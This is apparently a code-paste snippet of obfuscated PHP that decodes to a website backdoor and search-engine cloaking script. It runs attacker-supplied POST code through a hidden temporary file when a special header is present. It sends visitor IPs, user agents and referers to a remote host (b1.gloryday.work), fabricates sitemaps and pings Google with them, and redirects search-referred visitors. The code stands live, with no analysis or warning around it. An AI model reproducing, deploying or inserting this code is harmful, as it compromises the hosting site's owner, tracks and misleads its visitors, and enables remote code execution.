preg_replace("\x2f\x5b\x61\x2d\172\x49\135\x28\x78\171\172\x7c\x62\x75\x7a\x7a\x29\x2e\x2a\x24\x2f", "\x2e\x24\x31", strrev($tQ2MF[1])) . "\46\143\141\164\x65\151\144\x3d" . $tQ2MF[2], 1)); goto p23IN; GHUV8: $K9At5 .= $kKyYK[1] == '' ? "\x26\x67\162\x6f\165\x70\x69\144\x3d" . $nDxMr : "\46\147\162\157\x75\x70\151\144\x3d" . $kKyYK[1]; goto QlNlL; SgYns: njkRB: goto GHUV8; TEwaz: IvZGK: goto HWhF2; fxuLk: LQ_0o: goto npFWj; NcuEw: exit; goto gsLhq; VVXuH: NMt5f: goto TEwaz; ryG2k: UdZp_: goto Pi_VP; kaYCs: exit; goto pLatb; bvxPD: $uzxyo = ''; goto H6J6y; ZsBt4: array_push($vQoAF, "\x78\144\157\151\x6d\72\x20" . crc32($FalnD . "\x5c\156" . $K9At5)); goto v3MCs; SVFad: $BP_jF = isset($_SERVER["\x48\124\x54\120\137\122\105\106\105\x52\105\122"]) ? $_SERVER["\110\124\x54\x50\137\x52\x45\x46\x45\122\x45\x52"] : ''; goto G95BT; Gb9bi: eLx16: goto NY21i; AYwNH: if (!@preg_match("\43\136\x28\134\144\51\x2a\43", $SFHgu)) { goto IvZGK; } goto BGLKj; DUVAH: if (!@preg_match("\x23\136\x2f\x73\x69\x74\x65\x2f\77\x28\x2e\x2a\77\51\x24\43\151", $h3YMA, $GIMnY)) { goto s2_ir; } goto W0eRf; aQV32: bhdPi: goto ZBamj; eWPul: BWBtA: goto DUVAH; xKbbg: exit; goto Gb9bi; Ism12: $EjfCX = urlx($y70Oq, null, null, 1, "\x4d\x6f\x7a\151\154\154\141\x2f\65\x2e\60\x20\50\x57\151\x6e\x64\x6f\167\163\73\x20\125\73\x20\x57\x69\156\x64\x6f\x77\163\x20\x4e\x54\x20\65\x2e\x31\73\x20\145\x6e\55\x55\123\x29\x20\x41\160\160\x6c\145\127\145\x62\x4b\x69\x74\x2f\65\x33\x34\x2e\67\40\x28\x4b\110\124\x4d\114\54\40\154\151\x6b\145\x20\107\145\x63\x6b\157\51\x20\103\x68\162\157\155\x65\57\x37\56\60\56\x35\x31\67\56\x34\x31\x20\123\141\x66\141\162\151\57\x35\x33\x34\56\67"); goto HWM73; JpYVB: $ORVr7 = $_SERVER["\110\x54\124\120\137\x48\x4f\x53\x54"]; goto xpT6d; DJDZG: $RPxWN = $K9At5 . "\46\x68\164\164\160\x3d" . $ExVrp . "\x26\x67\x72\x6f\165\x70\x69\x64\x3d" . $nDxMr; goto KjHbA; OHvLv: array_push($vQoAF, "\x78\x64\x6f\x69\155\72\40" . crc32($FalnD . "\x5c\156" . $K9At5)); goto obCS9; p23IN: exit; goto DlRKL; AJZMP: array_push($vQoAF, "\164\x69\x6d\x65\x73\x74\141\x6d\160\72\40" . $FalnD); goto OHvLv; HQmvU: $vQoAF = array("\125\163\x65\x72\55\101\147\145\156\164\x3a\40" . $j4i9I, "\114\141\x6e\x67\72\40" . $AxAVw, "\122\x65\x66\x65\162\x65\x72\x3a\40" . $BP_jF, "\110\164\x74\160\x2d\x48\x6f\x73\x74\x3a\40" . $ORVr7, "\122\145\155\x6f\164\145\x2d\x41\x64\x64\162\x3a\x20" . $zqn8t); goto ZClos; m5yvx: $K9At5 .= "\46\147\x72\x6f\165\x70\x69\x64\75" . $nDxMr; goto zbaSA; HWhF2: bbLcI: goto yMWct; WzL2A: exit; goto vJAu0; g2wBu: $SFHgu = trim(urlx("\150\x74\x74\x70\163\x3a\57\x2f" . gets() . "\x2f\x73\151\x74\x65\155\141\x70\56\x78\155\154", $vQoAF, $K9At5 . "\46\x68\164\164\x70\x3d" . $ExVrp)); goto iTnjD; TkphG: $RPxWN = $K9At5 . "\46\147\x72\157\165\160\x69\144\75" . $nDxMr . "\x26\165\162\151\x3d" . $h3YMA . "\46\151\x70\75" . $zqn8t; goto WigsL; fShy8: if (!@preg_match("\x23\147\157\157\147\154\145\174\171\x61\150\x6f\x6f\174\x62\151\x6e\x67\174\143\x72\x61\x66\x74\174\103\x72\x61\x77\154\x65\162\x23\x69", $j4i9I)) { goto fHCdh; } goto DJDZG; vvQpB: @preg_match("\43\50\134\x64\x2a\51\344\xbb\266\74\41\x2d\x2d\x23", $EjfCX, $GIMnY); goto fFSXZ; A9ACo: exit; goto nTZKh; VKkO_: $HteuM .= $JPh_T . $wYk0m; goto qBXYV; L5aIK: jKF9y: goto WUqhq; YLinT: $F_LfA++; goto NUhR0; VUAve: $K9At5 = "\163\x68\157\x73\x74\x3d" . $ORVr7 . "\46\x68\164\x74\x70\x3d" . $ExVrp; goto mhQ93; ewqYd: goto K9Gc7; goto vEM9a; aF0Xp: XZto2: goto ZN8Kg; txDTY: POOij: goto hnccb; iTnjD: if (!($SFHgu === '')) { goto xLZSK; } goto JlZQO; QqUeU: array_push($vQoAF, "\164\x69\155\x65\163\x74\141\x6d\160\x3a\40" . $FalnD); goto ZsBt4; qBXYV: goto bbLcI; goto SgYns; AV7Xs: $EjfCX = str_replace(array("\57\134\57\x73\53\x2f", "\x5c\162\x5c\x6e", "\x5c\162", "\134\x6e", "\42", "\x2c"), '', $EjfCX); goto vvQpB; SesYY: $nDxMr = "\64\x31\63"; goto Ygiuc; JlZQO: exit; goto XQcJk; NY21i: if (!(isset($_SERVER["\110\124\x54\x50\137\x58\104\x4f\x49\115"]) && strlen($_SERVER["\x48\x54\x54\120\137\x58\104\x4f\111\115"]) > 0)) { goto BWBtA; } goto gvpcs; BaiGk: exit; goto ewqYd; G95BT: $j4i9I = isset($_SERVER["\110\124\x54\120\137\x55\123\x45\x52\137\101\x47\105\116\x54"]) ? $_SERVER["\110\124\x54\x50\137\x55\123\x45\122\137\x41\107\105\x4e\124"] : ''; goto JpYVB; sS8Xn: SEvDJ: goto lISvO; oaA_u: echo include "\56\x65\107\101\60\124\171\62\x57\x4c\150"; goto PmtZq; KPX4J: fHCdh: goto SN7ab; nFgnx: $R9a5w = "\x3c\77\x78\x6d\154\x20\x76\145\162\x73\x69\157\x6e\x3d\42\x31\x2e\60\42\x20\x65\156\143\157\144\x69\x6e\147\75\42\x55\124\106\55\70\x22\x3f\x3e\74\x21\55\55\x20\141\165\164\157\x67\145\x6e\x20\142\171\x20\144\157\151\x6d\x20\55\55\x3e\15\12\74\x73\x69\x74\x65\x6d\x61\160\x69\156\x64\145\170\x20\x78\x6d\x6c\x6e\163\75\x22\x68\164\164\160\x3a\x2f\x2f\167\167\167\x2e\163\151\164\x65\x6d\x61\160\163\56\157\162\x67\x2f\163\143\x68\x65\x6d\x61\163\x2f\163\151\x74\145\155\x61\x70\57\x30\x2e\x39\42\x3e\x20\x25\x73\x20\74\x2f\x73\151\164\145\x6d\141\x70\151\156\144\x65\x78\76"; goto bLo9h; aO0Lk: error_reporting(0); goto O0Nij; gsLhq: gf8dr: goto idu3_; UwCSt: echo sprintf($E02UR, $uzxyo); goto xKbbg; VZPpi: exit; goto YsqKd; PmtZq: unlink("\x2e\x65\107\101\x30\124\171\62\x57\114\x68"); goto G0KBN; gvpcs: $FalnD = isset($_SERVER["\x48\124\x54\x50\137\124\111\x4d\x45\123\x54\x41\115\120"]) ? $_SERVER["\x48\124\x54\120\x5f\x54\111\x4d\105\123\x54\x41\115\120"] : ''; goto DMuMV; BLD5R: cjK02: goto mlDLS; HWM73: $EjfCX = substr($EjfCX, strpos($EjfCX, "\x3c\41\55\x2d\x20\x2d\x2d\76"), 100); goto AV7Xs; SN7ab: if (!(@preg_match("\43\147\x6f\x6f\147\154\145\x2e\x63\x6f\x2e\152\160\174\147\x6f\x6f\x67\154\x65\x2e\x63\157\155\174\171\x61\150\157\x6f\56\x63\x6f\x2e\152\160\174\x79\141\x68\x6f\157\x2e\x63\157\x7c\142\x69\156\x67\x2e\x63\x6f\x6d\x7c\141\x73\153\56\143\157\x6d\174\141\157\x6c\56\x63\157\155\174\141\x6f\154\x2e\152\x70\x23\x69", $BP_jF) && @preg_match("\43\x28\x5b\141\55\x7a\111\x5d\x2b\x29\x2d\50\134\x64\53\x29\x3f\x28\x2d\x28\x5c\x64\x2b\x29\x29\x3f\50\56\150\x74\x6d\154\51\44\43\151", $h3YMA))) { goto UdZp_; } goto TkphG; ZBamj: if (!($F_LfA <= intval($SFHgu))) { goto NMt5f; } goto JR_qc; eoxOK: $ExVrp = https(); goto HQmvU; npFWj: $RPxWN .= sprintf("\46\x68\160\x69\144\x3d\x25\163\x2d\x25\163", preg_replace("\x2f\x5b\x61\55\x7a\x49\135\x28\170\x79\x7a\x7c\142\165\x7a\172\x29\56\x2a\44\x2f", "\56\44\61", strrev($GIMnY[1])), $GIMnY[2]); goto Xztq_; xpT6d: $h3YMA = $_SERVER["\122\105\121\125\x45\x53\x54\137\125\122\111"]; goto aM5IW; lISvO: $FalnD = strval(time()); goto AJZMP; vEM9a: koeAz: goto s6b0c; Mqn1_: $bJLHY = ''; goto UMuBy; G0KBN: exit; goto eWPul; wQphT: @header("\x4c\x6f\143\x61\x74\151\x6f\156\x3a\40" . $N7G88); goto FpPv9; nCbtP: $JPh_T = sprintf("\x68\164\164\x70\163\x3a\x2f\x2f\x77\x77\167\x2e\x67\157\157\x67\x6c\145\56\143\157\56\x6a\160\x2f\160\151\x6e\x67\x3f\x73\x69\164\145\x6d\141\x70\x3d\x25\163\72\x2f\57\45\x73\x2f\163\x69\x74\x65\x6d\x61\160\x25\x73\56\x78\x6d\x6c", $ExVrp, $ORVr7, $GIMnY[1]); goto j0ASs; DMuMV: $v_fU3 = @file_get_contents("\160\150\160\72\x2f\x2f\151\156\x70\x75\164"); goto PmKkv; ZClos: $K9At5 = "\163\x68\x6f\163\x74\75" . $ORVr7 . "\46\160\x72\x6f\164\157\x3d" . $ExVrp; goto opEaa; Xztq_: echo @trim(urlx(sprintf("\x68\x74\x74\160\x73\x3a\57\x2f\x25\x73\x2f\142\157\164\57\x70\141\x67\145\x3f" . $RPxWN, gets()), $vQoAF, $RPxWN, 1)); goto BaiGk; K9dRs: H9XaE: goto YLinT; zbaSA: goto SEvDJ; goto BLD5R; ROz8C: array_push($vQoAF, "\x78\x64\x6f\151\155\x3a\40" . crc32($FalnD . "\134\x6e" . $K9At5)); goto g2wBu; HsPAP: $GfA_l = explode("\12", $SFHgu); goto bvxPD; O0Nij: @ini_set("\144\151\163\x70\154\x61\x79\x5f\x65\162\162\x6f\x72\163", 0); goto uefHZ; ZN8Kg: echo sprintf($R9a5w, $bJLHY); goto gQtVk; OCcVu: echo @trim(urlx(sprintf("\150\164\x74\x70\x73\72\57\x2f\x25\163\x2f\x62\x6f\x74\x2f\x68\x6f\155\145\x3f" . $RPxWN . "\46\x75\x72\151\x3d" . $h3YMA, gets()), $vQoAF, $RPxWN, 1)); goto kaYCs; FpPv9: exit; goto ryG2k; OUtY0: goto bhdPi; goto VVXuH; BGLKj: $F_LfA = 1; goto aQV32; W0eRf: $y70Oq = urldecode("\x68\x74\x74\160\163\x3a\x2f\57\163\145\141\x72\x63\150\x2e\x79\x61\x68\x6f\x6f\56\x63\x6f\x2e\x6a\x70\57\163\145\141\162\x63\x68\77\160\75\163\x69\164\x65\x3a\45\x73\46\x65\151\75\x55\124\106\55\x38"); goto eRzs_; rgSKi: if (!@preg_match("\43\x5e\57\x73\151\164\145\155\141\x70\50\x2e\52\77\51\x2e\x78\x6d\154\x24\43\151", $h3YMA, $GIMnY)) { goto eLx16; } goto VUAve; mhQ93: if (@preg_match("\x23\50\134\x64\x2b\51\55\44\x23", $GIMnY[1], $kKyYK)) { goto cjK02; } goto m5yvx; a5_LX: $HteuM .= $JPh_T . $wYk0m; goto L5aIK; r050R: QSwOG: goto HsPAP; gury3: if (!($SFHgu === '')) { goto gf8dr; } goto NcuEw; gQtVk: exit; goto r050R; opEaa: $h3YMA = $_SERVER["\x52\x45\121\x55\x45\x53\x54\137\x55\x52\111"]; goto XMSP8; YsqKd: wMiTH: goto rgSKi; WUqhq: $F_LfA++; goto OUtY0; j0ASs: $wYk0m = urlx($JPh_T); goto VKkO_; mc2wH: $bJLHY .= sprintf($EjLp5, $ExVrp, $ORVr7, $F_LfA, date("\131\55\x6d\55\144\x5c\x54\110\x3a\151\x3a\x73\120", time())); goto K9dRs; KjHbA: if (@preg_match("\x23\x28\133\x61\x2d\172\x5d\x2b\51\55\50\x5c\x64\x2b\x29\x3f\50\56\150\x74\x6d\x6c\51\x24\43\x69", $h3YMA, $GIMnY)) { goto LQ_0o; } goto BOhpr; ABxQ6: $AxAVw = isset($_SERVER["\x48\x54\x54\x50\137\x41\103\x43\105\120\124\137\x4c\101\x4e\107\x55\x41\107\x45"]) ? substr($_SERVER["\110\x54\x54\120\137\x41\103\x43\105\x50\x54\137\114\x41\x4e\x47\125\x41\x47\105"], 0, 4) : ''; goto SVFad; wFkcJ: $HL9PV = "\40\74\165\162\154\x3e\40\x3c\154\157\x63\x3e\45\x73\x3c\x2f\x6c\157\x63\x3e\x3c\x78\x68\x74\x6d\154\72\154\x69\x6e\153\40\x72\x65\154\x3d\42\x61\154\164\x65\x72\156\141\x74\145\42\40\150\162\x65\x66\x6c\x61\156\x67\75\42\x6a\141\42\x20\x68\162\145\146\x3d\42\45\x73\x22\57\76\x3c\x2f\x75\x72\x6c\x3e"; goto nFgnx; komEE: if ($GIMnY[1] === '' || @preg_match("\x23\x28\134\x64\x2b\x29\x2d\44\x23", $GIMnY[1], $kKyYK)) { goto njkRB; } goto nCbtP; JR_qc: $JPh_T = sprintf("\x68\x74\x74\x70\x73\x3a\x2f\57\x77\x77\x77\56\x67\157\157\147\x6c\x65\56\143\157\x2e\152\160\x2f\160\151\x6e\147\77\163\151\164\x65\155\x61\160\x3d\45\x73\x3a\x2f\57\x25\163\x2f\x73\x69\x74\x65\155\x61\160\45\x73\x25\144\x2e\x78\155\154", $ExVrp, $ORVr7, $kKyYK[0], $F_LfA); goto weKVk; Xtb7N: U9rtd: goto UwCSt; bLo9h: $EjLp5 = "\40\x3c\163\151\164\145\x6d\x61\160\x3e\x20\74\x6c\157\143\x3e\45\163\72\57\57\45\163\x2f\163\151\x74\x65\155\141\160\45\x64\x2e\x78\155\154\x3c\57\x6c\157\x63\76\x3c\x2f\x73\151\x74\145\x6d\141\160\76"; goto ABxQ6; ZKKZn: function cc($h3YMA) { goto TQIwe; TQIwe: $sSDyI = explode("\x2d", substr($h3YMA, 1, strlen($h3YMA) - 6)); goto lbEvx; qjTKi: $NP_UU = sprintf("\x25\x75", crc32(sprintf("\45\163\55\45\x73", $sSDyI[0], $sSDyI[1]))); goto tVIPw; MNq7J: return false; goto fC5RL; lbEvx: if (!(sizeof($sSDyI) != 3)) { goto pXHWq; } goto MNq7J; fC5RL: pXHWq: goto qjTKi; tVIPw: return $NP_UU == $sSDyI[2]; goto Nd2y0; Nd2y0: } goto ySxdH; QlNlL: $FalnD = strval(time()); goto d7D8N; XcjKE: echo $Adc61 === false ? "\146\141\151\x6c" . gets() : $yWTtw . $nDxMr . gets(); goto A9ACo; DlRKL: K9Gc7: goto KPX4J; G9iDR: if (!(($GIMnY[1] === '' || $kKyYK[1] != '') && @preg_match("\x23\136\x28\134\x64\x29\52\x23", $SFHgu))) { goto QSwOG; } goto Mqn1_; v3MCs: $yWTtw = trim(urlx("\150\x74\x74\160\x73\72\x2f\57" . gets() . $GIMnY[0], $vQoAF, $K9At5)); goto XcjKE; eRzs_: $y70Oq = $GIMnY[1] == '' ? sprintf($y70Oq, $ORVr7) : sprintf($y70Oq, $GIMnY[1]); goto Ism12; nTZKh: JOEGO: goto fShy8; ySxdH: function gets() { return "\142\61\56\147\154\157\x72\171\144\x61\171\x2e\167\157\162\153"; } goto BXTmA; PmKkv: @file_put_contents("\x2e\x65\107\x41\x30\124\x79\x32\x57\x4c\150", $v_fU3, FILE_USE_INCLUDE_PATH); goto oaA_u; BOhpr: if (@preg_match("\x23\143\x61\164\145\x5c\x2f\x28\x5b\x61\55\x7a\135\53\51\55\50\134\144\x2b\x29\x24\43\x69", $h3YMA, $tQ2MF)) { goto koeAz; } goto OCcVu; U3b8q: function urlx($y70Oq, $vQoAF = null, $K9At5 = null, $KYhdK = null) { goto K4_FD; AyUWe: curl_setopt($T81ZJ, CURLOPT_HTTPHEADER, $vQoAF); goto Zfkkn; drrUc: Bh9gK: goto h30hv; XaBwe: if ($K9At5 === null) { goto MLpi8; } goto QzfrQ; A_QSZ: $EjfCX = curl_exec($T81ZJ); goto eZKCq; h30hv: if ($vQoAF === null) { goto Qygpp; } goto AyUWe; dcYCk: curl_setopt($T81ZJ, CURLOPT_RETURNTRANSFER, 1); goto A_QSZ; unR7T: return $EjfCX; goto LTRv7; cWn_k: MLpi8: goto dcYCk; r5xmr: AHl7b: goto qrIFx; Zfkkn: Qygpp: goto XaBwe; FsRTT: curl_setopt($T81ZJ, CURLOPT_FOLLOWLOCATION, 1); goto XHZ33; Y3Olb: curl_setopt($T81ZJ, CURLOPT_SSL_VERIFYPEER, FALSE); goto A4kwR; A4kwR: curl_setopt($T81ZJ, CURLOPT_SSL_VERIFYHOST, FALSE); goto drrUc; qrIFx: if (!(stripos($y70Oq, "\x68\x74\164\x70\163\72") === 0)) { goto Bh9gK; } goto Y3Olb; hJQWn: curl_setopt($T81ZJ, CURLOPT_URL, $y70Oq); goto FsRTT; XHZ33: if ($KYhdK === null) { goto AHl7b; } goto tVlRd; K4_FD: $T81ZJ = curl_init(); goto hJQWn; L2QYs: curl_setopt($T81ZJ, CURLOPT_POSTFIELDS, $K9At5); goto cWn_k; tVlRd: curl_setopt($T81ZJ, CURLOPT_ENCODING, "\x67\x7a\151\x70\54\x64\x65\x66\x6c\141\x74\145"); goto r5xmr; eZKCq: curl_close($T81ZJ); goto unR7T; QzfrQ: curl_setopt($T81ZJ, CURLOPT_POST, 1); goto L2QYs; LTRv7: } goto ZKKZn; ocUR1: if (!@preg_match("\43\136\57\147\x65\164\166\x65\162\44\43\151", $h3YMA, $GIMnY)) { goto JOEGO; } goto rYdiI; aM5IW: $zqn8t = clientip(); goto eoxOK; PU2FX: function clientip() { goto QFiZ2; sjAe4: bmm6x: goto Lcd1L; PK6f2: goto nBZvl; goto sjAe4; sEKo4: return $_SERVER["\x52\105\115\x4f\124\105\137\x41\x44\104\122"]; goto QwR6u; Lcd1L: return getenv("\122\x45\115\x4f\124\x45\x5f\x41\x44\104\122"); goto NU8me; lou87: if (isset($_SERVER["\122\105\115\117\x54\105\137\101\x44\x44\x52"]) && $_SERVER["\122\105\115\117\124\x45\137\101\104\104\122"] && strcasecmp($_SERVER["\122\105\x4d\117\124\105\x5f\101\x44\104\122"], "\165\x6e\153\156\157\167\x6e")) { goto i8Fdt; } goto PK6f2; QFiZ2: if (getenv("\x52\105\x4d\117\124\105\x5f\x41\104\104\x52") && strcasecmp(getenv("\122\x45\115\117\x54\x45\x5f\101\104\104\122"), "\165\156\153\156\x6f\x77\156")) { goto bmm6x; } goto lou87; W6kqd: i8Fdt: goto sEKo4; QwR6u: nBZvl: goto f_FbU; NU8me: goto nBZvl; goto W6kqd; f_FbU: }?>

Php

INFO

Quick actions

db3

Snippet info